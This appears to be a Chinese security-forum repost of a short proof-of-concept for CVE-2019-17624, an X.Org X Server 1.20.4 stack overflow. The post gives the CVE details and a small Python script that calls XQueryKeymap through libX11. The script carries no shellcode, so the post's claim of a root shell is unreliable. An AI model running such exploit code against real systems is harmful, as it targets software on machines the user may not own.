搜索

[28274] 2020-04-28_CVE-2019-17624-X.OrgXServer1.20.4-本地堆栈溢出-Linux…

文档创建者：s7ckTeam
浏览次数：51
最后更新：2025-01-19
2020-04-28_CVE-2019-17624-X.OrgXServer1.20.4-本地堆栈溢出-Linux… C V E - 2 0 1 9 - 1 7 6 2 4 - X . O r g   X   S e r v e r   1 . 2 0 . 4 - 本 地 堆 栈 溢 出 - L i n u x … 青 春   O t s 安 全   2 0 2 0 - 0 4 - 2 8 # #   C V E - 2 0 1 9 - 1 7 6 2 4 - X . O r g   X   S e r v e r   1 . 2 0 . 4   -   L o c a l   S t a c k   O v e r f l o w - L i n u x 图 形 界 面 X   S e r v e r 本 地 栈 溢 出 P O C * * 0 x 1   简 单 介 绍 * * X   S e r v e r   是 绝 大 对 数 [ L i n u x ] ( h t t p s : / / m r x n . n e t / t a g / L i n u x ) 发 行 版 和 U n i x 系 统 的 基 础 图 形 界 面 程 序 ， 是 系 统 标 配 。 而 此 程 序 也 是 以 R o o t 权 限 启 动 的 ， 因 而 成 功 溢 出 它 而 获 得 的 [ s h e l l ] ( h t t p s : / / m r x n . n e t / t a g / s h e l l ) ， 也 是 r o o t 权 限 。 * * 0 x 2   漏 洞 相 关 信 息 * * ` ` ` #   时 间 :   2 0 1 9 - 1 0 - 1 6   #   作 者 :   M a r c e l o   V á z q u e z   ( s 4 v i t a r )   #   厂 商 :   h t t p s : / / w w w . x . o r g /   #   版 本 :   < =   1 . 2 0 . 4   #   测 试 平 台 :   L i n u x   #   C V E :   C V E - 2 0 1 9 - 1 7 6 2 4 ` ` `   * * 0 x 3   P O C * * ` ` ` p y t h o n # ! / u s r / b i n / p y t h o n # c o d i n g :   u t f - 8   #   * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * #   *                                 A u t h o r :   M a r c e l o   V á z q u e z   ( a k a   s 4 v i t a r )                                   * #   *             X . O r g   X   S e r v e r   1 . 2 0 . 4   /   X   P r o t o c o l   V e r s i o n   1 1   ( S t a c k   O v e r f l o w )     * #   * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * *   i m p o r t   s y s ,   t i m e i m p o r t   c t y p e s   a s   c t   f r o m   c t y p e s   i m p o r t   c a s t f r o m   c t y p e s . u t i l   i m p o r t   f i n d _ l i b r a r y   d e f   a c c e s s _ v i o l a t i o n ( x 1 1 ,   c u r r e n t _ d i s p l a y ) :     k e y b o a r d   =   ( c t . c _ c h a r   *   1 0 0 0 ) ( )     x 1 1 . X Q u e r y K e y m a p ( c u r r e n t _ d i s p l a y ,   k e y b o a r d )   i f   _ _ n a m e _ _   = =   ' _ _ m a i n _ _ ' :       p r i n t   " n [ * ]   L o a d i n g   x 1 1 . . . n "     t i m e . s l e e p ( 2 )       x 1 1   =   c t . c d l l . L o a d L i b r a r y ( f i n d _ l i b r a r y ( " X 1 1 " ) )     c u r r e n t _ d i s p l a y   =   x 1 1 . X O p e n D i s p l a y ( N o n e )       p r i n t   " [ * ]   E x p l o i t i n g . . . n "     t i m e . s l e e p ( 1 )       t r y :         a c c e s s _ v i o l a t i o n ( x 1 1 ,   c u r r e n t _ d i s p l a y )       e x c e p t :         p r i n t   " n E r r o r . . . n "         s y s . e x i t ( 1 ) ` ` `

回复

举报

高级模式
B Color Image Link Quote Code Smilies
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

Archiver| 手机版| 小黑屋|
Powered by Discuz! X3.4 Copyright © 2001-2020, Tencent Cloud. 商业源码建议获取授权，如侵犯您的权益，请联系客服处理